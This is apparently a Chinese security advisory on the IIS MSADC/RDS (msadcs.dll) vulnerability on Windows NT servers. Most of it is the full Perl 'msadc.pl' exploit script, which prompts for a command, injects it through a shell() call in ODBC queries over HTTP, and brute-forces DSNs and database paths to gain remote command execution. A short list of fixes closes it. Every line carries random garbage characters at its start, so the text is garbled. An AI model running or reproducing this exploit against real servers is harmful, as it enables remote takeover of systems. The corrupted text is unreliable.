IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
hn[lhC lEXI<b'2 涉及程序：
T o $D [- Microsoft NT server
- jWXE ,"U|gJn|^ 描述：
9r=yfc!cS 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
E>i sl" mTBSntZx 详细：
+N2 R'Phv 如果你没有时间读详细内容的话，就删除:
RXw }Tb/D8 c:\Program Files\Common Files\System\Msadc\msadcs.dll
0WQ d#l 有关的安全问题就没有了。
V i<6i0 TR'<D9kn 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
,buo&DT{L s)~Wcp'+M: 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Ti>2N 关于利用ODBC远程漏洞的描述，请参看:
2Kz407|' [vn"r^P http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [Wn6d: <tgfbY^nL 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Wxzh'c#\8 http://www.microsoft.com/security/bulletins/MS99-025faq.asp OLE@35"v] "Tnm n@ 这里不再论述。
6QePrf Nn{/ _QG 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
DbrK, 'b% jhB+ ] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
g:2\S= 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
TXbnK"XQ f{+X0Oj f"Kl? IN8 #将下面这段保存为txt文件，然后: "perl -x 文件名"
=VGRM#+D <(_${zR #!perl
paZcTC #
% ZT I ?a # MSADC/RDS 'usage' (aka exploit) script
* TByAa{ #
j"9Zaq_ # by rain.forest.puppy
?7dV:]%~2 #
^~W s4[Guo # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ofuQ`g1hb # beta test and find errors!
!m?W+ z~J N{?Qkkgx use Socket; use Getopt::Std;
;aImz*1%t getopts("e:vd:h:XR", \%args);
V PI_pK 7'RU\0QG print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
]~7xq)28 Z&5 cJk
W if (!defined $args{h} && !defined $args{R}) {
@!mjjeG+1 print qq~
AME<V-5 Usage: msadc.pl -h <host> { -d <delay> -X -v }
ZU.f)94u -h <host> = host you want to scan (ip or domain)
YzYj/,?r -d <seconds> = delay between calls, default 1 second
Nrzg>WQa -X = dump Index Server path table, if available
Y |L]# -v = verbose
oB% j3aAH -e = external dictionary file for step 5
&?M'(` ~ 3$P GLM Or a -R will resume a command session
G&#l3bkQ hEAP, )>F ~; exit;}
4_w{~ Eg0qY\' $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
FmhN*ZXr # if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
_SqUPTb"u if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
DHh30b$c if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
g>H \"cUv $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
!==C@cH<N if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
pF7S("#R e@L?jBj8m if (!defined $args{R}){ $ret = &has_msadc;
7F8>w 7Y] die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
2$1D+(5; ..yLtqos print "Please type the NT commandline you want to run (cmd /c assumed):\n"
g4 2f*~l . "cmd /c ";
^\FOMGai $in=<STDIN>; chomp $in;
HfA@tZ5q|U $command="cmd /c " . $in ;
E\XD~ Df0m if (defined $args{R}) {&load; exit;}
B8 R&Q8Q Te @=8-u- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
O],]\M{GL &try_btcustmr;
WxS$yUu d5 U +]g print "\nStep 2: Trying to make our own DSN...";
W(jP??up &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
HKYJgx B/b S: print "\nStep 3: Trying known DSNs...";
#i| AE` &known_dsn;
cfUG)-]P~ Fes /8*- print "\nStep 4: Trying known .mdbs...";
crR Ygr &known_mdb;
pR7 D3Q:^7 a'YK1QX if (defined $args{e}){
CYN")J8V print "\nStep 5: Trying dictionary of DSN names...";
g:fzf>oQ>p &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Rx .dM_S +{@hD+ print "Sorry Charley...maybe next time?\n";
mY!&*nYn| exit;
.u&GbM%Ga #H&`wMZZ: ##############################################################################
{{Z3M> Q (-esUOB. sub sendraw { # ripped and modded from whisker
'Y:ZWac, sleep($delay); # it's a DoS on the server! At least on mine...
^3w
>:4m my ($pstr)=@_;
p|VgtQ/ )% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1|3{.E d die("Socket problems\n");
.dl4f"k if(connect(S,pack "SnA4x8",2,80,$target)){
hT[w" &3 select(S); $|=1;
V"Y -|R print $pstr; my @in=<S>;
=Vi>?fWpn= select(STDOUT); close(S);
VVm8bl.q return @in;
P |kfPohI= } else { die("Can't connect...\n"); }}
y ZqX[U gukKa ##############################################################################
kc }&\y $+p4X# _ sub make_header { # make the HTTP request
Yp8GW1@ my $msadc=<<EOT
6@cT;=W;xj POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
2^T`> ?{X User-Agent: ACTIVEDATA
f)%8*B Host: $ip
sboX< Content-Length: $clen
iBy
&#^ Connection: Keep-Alive
@/0-`Y@? &/t GT3) ADCClientVersion:01.06
Qr$Ay3#k Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
;-@v1I; dMjAG7U --!ADM!ROX!YOUR!WORLD!
( | X? Content-Type: application/x-varg
<ZgbmRY8 Content-Length: $reqlen
o2r)K AA 6A*k EOT
D}6 ~2j ; $msadc=~s/\n/\r\n/g;
Cz]NSG 5 return $msadc;}
]Z# =w 9|9Hk1 ##############################################################################
Ph|\%P`>% )TV{n#n sub make_req { # make the RDS request
BaUcmF2Q my ($switch, $p1, $p2)=@_;
9_<>#)u5 my $req=""; my $t1, $t2, $query, $dsn;
lgaE2`0 [3 Zm~oV?6 if ($switch==1){ # this is the btcustmr.mdb query
Ht !]% $query="Select * from Customers where City=" . make_shell();
Kzz]Z O*3 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
N)N\iad^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
A q:1 P<{N)H 2r elsif ($switch==2){ # this is general make table query
^i!6q9<{e $query="create table AZZ (B int, C varchar(10))";
1T@#gE["Ic $dsn="$p1";}
z6f N)kw \ C.s%m elsif ($switch==3){ # this is general exploit table query
U jrML $query="select * from AZZ where C=" . make_shell();
3T7, Y(<V $dsn="$p1";}
Me XGE )T26 cT$ elsif ($switch==4){ # attempt to hork file info from index server
G>yTv`- $query="select path from scope()";
oUG!=.1}K5 $dsn="Provider=MSIDXS;";}
S eTn] 9j~|m elsif ($switch==5){ # bad query
8C(@a[V $query="select";
ygn]f*;?kw $dsn="$p1";}
>; }q uF89B-t $t1= make_unicode($query);
pNIu;1M5a $t2= make_unicode($dsn);
(viGL|Ogn $req = "\x02\x00\x03\x00";
#`(-Oj2hH $req.= "\x08\x00" . pack ("S1", length($t1));
Iu r b? $req.= "\x00\x00" . $t1 ;
F.[E;gOTo $req.= "\x08\x00" . pack ("S1", length($t2));
5h6c W $req.= "\x00\x00" . $t2 ;
?z$ ^4u3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
E|K ~WO]>o return $req;}
@0{vA\
f7_EqS=( ##############################################################################
9yt)9f / 3pvq%i sub make_shell { # this makes the shell() statement
s}5,<|DL return "'|shell(\"$command\")|'";}
1Ff Sqd pX~X{JTaL) ##############################################################################
+J<igb!S "q,.O5q}Y sub make_unicode { # quick little function to convert to unicode
gc KXda( my ($in)=@_; my $out;
eNEMyv5{w4 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
VQ,;~^Td return $out;}
VwKo)zH N&]GP l0 ##############################################################################
mufJ @Y S# @P@ j9yR sub rdo_success { # checks for RDO return success (this is kludge)
Svun
RUE-f my (@in) = @_; my $base=content_start(@in);
PZjK6]N\ if($in[$base]=~/multipart\/mixed/){
b|KlWt' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
%{*A@jQsg return 0;}
,Vd NP Y_SB3 $]) ##############################################################################
H0P:t(<Gt e"@Ag:r@a sub make_dsn { # this makes a DSN for us
M8p6f)l3 my @drives=("c","d","e","f");
_q7mYc print "\nMaking DSN: ";
_ a`J>~$ foreach $drive (@drives) {
p}:"@6 print "$drive: ";
94CHxv my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
sJ
!<qb5 ! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
c ?(X (FQ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
s`63
y&Z[ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[42EqVR return 0 if $2 eq "404"; # not found/doesn't exist
}F<= if($2 eq "200") {
vkgAI< foreach $line (@results) {
> o_cf*nx return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
zHu w[ } return 0;}
s-"oT= @}+F4Xh,L ##############################################################################
.s8u? 1b ];63QJU sub verify_exists {
M r6 q7 my ($page)=@_;
8`GN8 F my @results=sendraw("GET $page HTTP/1.0\n\n");
VTIRkC
wl@ return $results[0];}
XKQ\Ts2<k *MM8\p_PuT ##############################################################################
p1`" ) $ sb"h:i>O4 sub try_btcustmr {
Y4j%K~ls Y my @drives=("c","d","e","f");
:)g}x&A^$ my @dirs=("winnt","winnt35","winnt351","win","windows");
r' E|6_0 n{8v^x foreach $dir (@dirs) {
l/6$BP U` print "$dir -> "; # fun status so you can see progress
e X3|<Bf foreach $drive (@drives) {
57`*5X print "$drive: "; # ditto
|Zm'! -_ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
3^-yw ` $reqlenlen=length( "$reqlen" );
9>7w1G# $clen= 206 + $reqlenlen + $reqlen;
9JBVG~m+ ';iLk[ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
>'g>CD! if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Fsi;[be$A else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
x$+g/7* t=BXuFiu ##############################################################################
jx[g;7~X !'f.g|a sub odbc_error {
=Eb4Iyz my (@in)=@_; my $base;
4khc*fh my $base = content_start(@in);
\VAm4 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
<
s1 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_<m yM2z $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S*w; $`Y $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q=n2frW(T return $in[$base+4].$in[$base+5].$in[$base+6];}
8h'*[-]70u print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
D\-D ~G]x print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
dQ`=C Ir $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
gq~6 jf> P`TJqJiY~ ##############################################################################
>(BAIjF
E\ ;!Q}g1 9C sub verbose {
Qf .]Mw?Bm my ($in)=@_;
a*bAf'= return if !$verbose;
7L !$hk print STDOUT "\n$in\n";}
bv9nDNPD4 ds
"N*\. ##############################################################################
:V
ZXI#([ ukwO%JAr sub save {
?CSv ;: my ($p1, $p2, $p3, $p4)=@_;
v)s;
wD open(OUT, ">rds.save") || print "Problem saving parameters...\n";
-&QTy print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
45U!\mG close OUT;}
5Zy%Nam'gN }zy h! ##############################################################################
Y
wu
> k k r ga!,I sub load {
M=#'+CF}W my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Dt glPo_( open(IN,"<rds.save") || die("Couldn't open rds.save\n");
GB8>R @p=<IN>; close(IN);
lqZUU92; $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
s~g0VNu Y $target= inet_aton($ip) || die("inet_aton problems");
x03@} M1 print "Resuming to $ip ...";
QUK v :; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
A?4s+A@Eg if($p[1]==1) {
4o ,G[Cf_ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_ 0 h)O $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
.~7:o.BE`n my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
{N'<_%cu if (rdo_success(@results)){print "Success!\n";}
v]c+|nRs else { print "failed\n"; verbose(odbc_error(@results));}}
fp?cb2'7 elsif ($p[1]==3){
u5rHQA0% if(run_query("$p[3]")){
1g>>{ y print "Success!\n";} else { print "failed\n"; }}
?cKe~Q?3 elsif ($p[1]==4){
|<!xD
iB if(run_query($drvst . "$p[3]")){
h 42dk(B print "Success!\n"; } else { print "failed\n"; }}
rq![a};~ exit;}
,?(U4pzX }II)<g' ##############################################################################
P\{ }yd @~C
C$Y$ sub create_table {
"5b4fQ;x my ($in)=@_;
qc"PTv0q $reqlen=length( make_req(2,$in,"") ) - 28;
4 `] $reqlenlen=length( "$reqlen" );
M@< r8M] G $clen= 206 + $reqlenlen + $reqlen;
Hh`HMa'q my @results=sendraw(make_header() . make_req(2,$in,""));
ZYs?65. return 1 if rdo_success(@results);
,iM dv+ my $temp= odbc_error(@results); verbose($temp);
3='Kii=LA return 1 if $temp=~/Table 'AZZ' already exists/;
1BOv|xPjZ return 0;}
Rv Uw,= 9" cyZO ##############################################################################
4GG0jCNk +@qIDUiF3 sub known_dsn {
m_h$fT8
_ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Q9{f'B my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
_|wnmeL* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
y,Z2`Zmu "banner", "banners", "ads", "ADCDemo", "ADCTest");
SlI
wLv^ 4 a zqH;i foreach $dSn (@dsns) {
q_z ;kCHM print ".";
U Y^TTRrH next if (!is_access("DSN=$dSn"));
=k##*% if(create_table("DSN=$dSn")){
vY);7 print "$dSn successful\n";
rAh|r}R if(run_query("DSN=$dSn")){
52.%f+Oa print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
V>& 1;n print "Something's borked. Use verbose next time\n";}}} print "\n";}
4P}d/w?'KL _71&".A ##############################################################################
0. 0r?T |> Pz#DCy sub is_access {
<[' ucp
my ($in)=@_;
FYIz_GTk $reqlen=length( make_req(5,$in,"") ) - 28;
hq ?F8 1 $reqlenlen=length( "$reqlen" );
[BKOK7QK| $clen= 206 + $reqlenlen + $reqlen;
2?kVb F my @results=sendraw(make_header() . make_req(5,$in,""));
)0zg1z my $temp= odbc_error(@results);
+Ou<-EQV verbose($temp); return 1 if ($temp=~/Microsoft Access/);
TU q
, return 0;}
;jh.\ a_\ JfR qOEP4Y ##############################################################################
+do* C =z ";TqYk=- sub run_query {
h>ZU67- my ($in)=@_;
{m/KD 'b_ $reqlen=length( make_req(3,$in,"") ) - 28;
]-jaIvM $reqlenlen=length( "$reqlen" );
EOXuc9>G $clen= 206 + $reqlenlen + $reqlen;
y(X^wC my @results=sendraw(make_header() . make_req(3,$in,""));
$ZlzS`XF7 return 1 if rdo_success(@results);
\-D[C+1( my $temp= odbc_error(@results); verbose($temp);
';LsEI[ return 0;}
C:z7R" yj ` l ##############################################################################
'j;i4ie>*x I].ddR% sub known_mdb {
d(^3S>V|q my @drives=("c","d","e","f","g");
) k Ij Z my @dirs=("winnt","winnt35","winnt351","win","windows");
r{wf;5d( my $dir, $drive, $mdb;
#>2cfZ`6'J my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,15$$3z /E 7p M&))R # this is sparse, because I don't know of many
x\pygzQ/ my @sysmdbs=( "\\catroot\\icatalog.mdb",
WnhH]WY "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
mh35S!I3I^ "\\system32\\certmdb.mdb",
e}iv vs2 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
.}Hs'co wsgT`M'J[ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Up*6K =Tny "\\cfusion\\cfapps\\forums\\forums_.mdb",
dTqL[?wH? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Si68_]:^ "\\cfusion\\cfapps\\security\\realm_.mdb",
e?WI=Og "\\cfusion\\cfapps\\security\\data\\realm.mdb",
vH@$?b3VP "\\cfusion\\database\\cfexamples.mdb",
S*%:ID|/C2 "\\cfusion\\database\\cfsnippets.mdb",
X/H 2c"!t "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
4F+G;'JV "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
tD])&0"( "\\cfusion\\brighttiger\\database\\cleam.mdb",
lM.k *`$ "\\cfusion\\database\\smpolicy.mdb",
{ 'cdi` "\\cfusion\\database\cypress.mdb",
r@ba1*y0 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
mV}e Mw "\\website\\cgi-win\\dbsample.mdb",
'grb@+w( "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
zwK$ q=-: "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2ZKy7p0/ ); #these are just
Tvw(S q}; foreach $drive (@drives) {
Oyp)Wm;@ foreach $dir (@dirs){
4|NcWpaV7 foreach $mdb (@sysmdbs) {
S9 @*g3 print ".";
RY*yj&?w [ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
=6B I[_0 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
V,eH E5C if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
1wW4bg 5 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
mWuhXY^Q } else { print "Something's borked. Use verbose next time\n"; }}}}}
E#n: d9WA: 4}H f"L[ l foreach $drive (@drives) {
<9`/Y"\ p foreach $mdb (@mdbs) {
$B`bsJ print ".";
|2&|#K4k^ if(create_table($drv . $drive . $dir . $mdb)){
o+?Ko=vYw print "\n" . $drive . $dir . $mdb . " successful\n";
Zk0? =f?j if(run_query($drv . $drive . $dir . $mdb)){
_RX*Ps= print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
EiWd =jDm } else { print "Something's borked. Use verbose next time\n"; }}}}
j4h?" }
!D e U8.% ||.Ve,<: ##############################################################################
7` t , -3C$br sub hork_idx {
c Qh=Mri] print "\nAttempting to dump Index Server tables...\n";
X($@E!| print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
^7C,GaDsn $reqlen=length( make_req(4,"","") ) - 28;
n7d`J_%s $reqlenlen=length( "$reqlen" );
#4!6pMW(&7 $clen= 206 + $reqlenlen + $reqlen;
k)JwCt.% my @results=sendraw2(make_header() . make_req(4,"",""));
[?#-JIZ3T if (rdo_success(@results)){
'deqF|Iox my $max=@results; my $c; my %d;
6d YUMqQ for($c=19; $c<$max; $c++){
b!g8NG $results[$c]=~s/\x00//g;
]j< &
:_ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
VB{G% !} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
FBrJVaF $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
znd fIt^ $d{"$1$2"}="";}
}Yp]A foreach $c (keys %d){ print "$c\n"; }
fh e%5#3 } else {print "Index server doesn't seem to be installed.\n"; }}
,y/N^^\ vC5y]1QDd ##############################################################################
ow,=M%x"0 F6)/Iiv sub dsn_dict {
;EfREfk
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
M hg_z.Z while(<IN>){
7 *HBb- $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
PWs=0.Wj next if (!is_access("DSN=$dSn"));
WK 6|e[iP if(create_table("DSN=$dSn")){
)rv<" print "$dSn successful\n";
!u|s| 6{\ if(run_query("DSN=$dSn")){
X !l#1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
woR }=\K print "Something's borked. Use verbose next time\n";}}}
u\|Ys print "\n"; close(IN);}
,]-A~ ^| CT#N9 ##############################################################################
Hf$LWPL)lM 9~WjCa*,& sub sendraw2 { # ripped and modded from whisker
GFtE0IQ sleep($delay); # it's a DoS on the server! At least on mine...
zi ui my ($pstr)=@_;
5*7
\Yjk? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
FBJ L kg0 die("Socket problems\n");
Tof H =d if(connect(S,pack "SnA4x8",2,80,$target)){
h ^"OC$ print "Connected. Getting data";
o9uir"= open(OUT,">raw.out"); my @in;
}z8HS<
#Q select(S); $|=1; print $pstr;
B" :u5_B while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Kzgn h gc close(OUT); select(STDOUT); close(S); return @in;
/*5lO;!s{ } else { die("Can't connect...\n"); }}
\ )n' Ywr h ?%]uFJC ##############################################################################
yjxv D O<?z\yBtS^ sub content_start { # this will take in the server headers
C!}9[X!7@: my (@in)=@_; my $c;
V tr5<:eEx for ($c=1;$c<500;$c++) {
Y:} !W if($in[$c] =~/^\x0d\x0a/){
+=A53V[C if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
^J Y]w^u else { return $c+1; }}}
Kwa$5q ZI return -1;} # it should never get here actually
w*"h#^1z #y&O5 ##############################################################################
&*wc` U ;v^1V+1:z sub funky {
11 >K\"K} my (@in)=@_; my $error=odbc_error(@in);
)mw&e}jRV if($error=~/ADO could not find the specified provider/){
c/G]r |k print "\nServer returned an ADO miscofiguration message\nAborting.\n";
s5'So@L8 exit;}
B#U:6T y if($error=~/A Handler is required/){
=Wj{J.7mf] print "\nServer has custom handler filters (they most likely are patched)\n";
2{E"#}/ exit;}
R59'KR2? if($error=~/specified Handler has denied Access/){
o7W1sD1O print "\nServer has custom handler filters (they most likely are patched)\n";
L4L[@tMPmY exit;}}
ir ^XZVR ZeyA bo ##############################################################################
x:O;Z~ |. .;xt{kK sub has_msadc {
>C|i^4ppI my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
x# {.mN my $base=content_start(@results);
9G@
J#vsqr return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
5==}8<$ return 0;}
*U= %W4?W u`2[V4= L ########################
.\X;VWTI fm hqm" o@&d d
NO 解决方案：
(;@\gRL 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
xiW;Y{kZ 2、移除web 目录: /msadc
